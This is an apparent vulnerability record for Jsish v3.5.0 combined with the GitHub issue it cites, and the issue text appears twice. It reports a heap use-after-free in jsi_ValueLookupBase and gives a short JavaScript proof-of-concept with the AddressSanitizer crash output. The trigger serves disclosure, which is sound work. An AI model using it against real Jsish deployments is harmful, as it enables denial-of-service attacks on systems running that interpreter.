Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_ValueLookupBase in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var JSEtest = function() {};
Function.prototype = 12;
var obj = JSEtest.bind({});
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
=================================================================
==50188==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000000228 at pc 0x55ccf1df02ee bp 0x7ffcb1d1b0a0 sp 0x7ffcb1d1b090
READ of size 1 at 0x603000000228 thread T0
    #0 0x55ccf1df02ed in jsi_ValueLookupBase src/jsiValue.c:980
    #1 0x55ccf1df1175 in jsi_ValueLookupBase src/jsiValue.c:1007
    #2 0x55ccf1df1175 in jsi_ValueSubscript src/jsiValue.c:1016
    #3 0x55ccf211ad47 in jsiEvalSubscript src/jsiEval.c:997
    #4 0x55ccf211ad47 in jsiEvalCodeSub src/jsiEval.c:1283
    #5 0x55ccf213315e in jsi_evalcode src/jsiEval.c:2204
    #6 0x55ccf2137274 in jsi_evalStrFile src/jsiEval.c:2665
    #7 0x55ccf1e2666a in Jsi_Main src/jsiInterp.c:936
    #8 0x55ccf262b03a in jsi_main src/main.c:47
    #9 0x7fc99b738bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #10 0x55ccf1dba969 in _start (/usr/local/bin/jsish+0xe8969)

0x603000000228 is located 8 bytes inside of 32-byte region [0x603000000220,0x603000000240)
freed by thread T0 here:
    #0 0x7fc99c3a77a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x55ccf1ddb6cf in Jsi_DecrRefCount src/jsiValue.c:52

previously allocated by thread T0 here:
    #0 0x7fc99c3a7d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55ccf1e2baa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:980 in jsi_ValueLookupBase
Shadow bytes around the buggy address:
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff8000: fa fa 00 00 00 00 fa fa 00 00 07 fa fa fa 00 00
  0x0c067fff8010: 00 00 fa fa 00 00 03 fa fa fa 00 00 00 00 fa fa
  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
=>0x0c067fff8040: 00 00 fa fa fd[fd]fd fd fa fa 00 00 00 00 fa fa
  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8060: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8070: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8080: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8090: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==50188==ABORTING

```
Credits: Found by OWL337 team.
Heap-use-after-free src/jsiValue.c:980 in jsi_ValueLookupBase
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Heap-use-after-free src/jsiValue.c:980 in jsi_ValueLookupBase
Issue date:

--- start body ---
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var JSEtest = function() {};
Function.prototype = 12;
var obj = JSEtest.bind({});
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
=================================================================
==50188==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000000228 at pc 0x55ccf1df02ee bp 0x7ffcb1d1b0a0 sp 0x7ffcb1d1b090
READ of size 1 at 0x603000000228 thread T0
    #0 0x55ccf1df02ed in jsi_ValueLookupBase src/jsiValue.c:980
    #1 0x55ccf1df1175 in jsi_ValueLookupBase src/jsiValue.c:1007
    #2 0x55ccf1df1175 in jsi_ValueSubscript src/jsiValue.c:1016
    #3 0x55ccf211ad47 in jsiEvalSubscript src/jsiEval.c:997
    #4 0x55ccf211ad47 in jsiEvalCodeSub src/jsiEval.c:1283
    #5 0x55ccf213315e in jsi_evalcode src/jsiEval.c:2204
    #6 0x55ccf2137274 in jsi_evalStrFile src/jsiEval.c:2665
    #7 0x55ccf1e2666a in Jsi_Main src/jsiInterp.c:936
    #8 0x55ccf262b03a in jsi_main src/main.c:47
    #9 0x7fc99b738bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #10 0x55ccf1dba969 in _start (/usr/local/bin/jsish+0xe8969)

0x603000000228 is located 8 bytes inside of 32-byte region [0x603000000220,0x603000000240)
freed by thread T0 here:
    #0 0x7fc99c3a77a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x55ccf1ddb6cf in Jsi_DecrRefCount src/jsiValue.c:52

previously allocated by thread T0 here:
    #0 0x7fc99c3a7d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55ccf1e2baa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:980 in jsi_ValueLookupBase
Shadow bytes around the buggy address:
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff8000: fa fa 00 00 00 00 fa fa 00 00 07 fa fa fa 00 00
  0x0c067fff8010: 00 00 fa fa 00 00 03 fa fa fa 00 00 00 00 fa fa
  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
=>0x0c067fff8040: 00 00 fa fa fd[fd]fd fd fa fa 00 00 00 00 fa fa
  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8060: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8070: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8080: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8090: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==50188==ABORTING

```
Credits: Found by OWL337 team.
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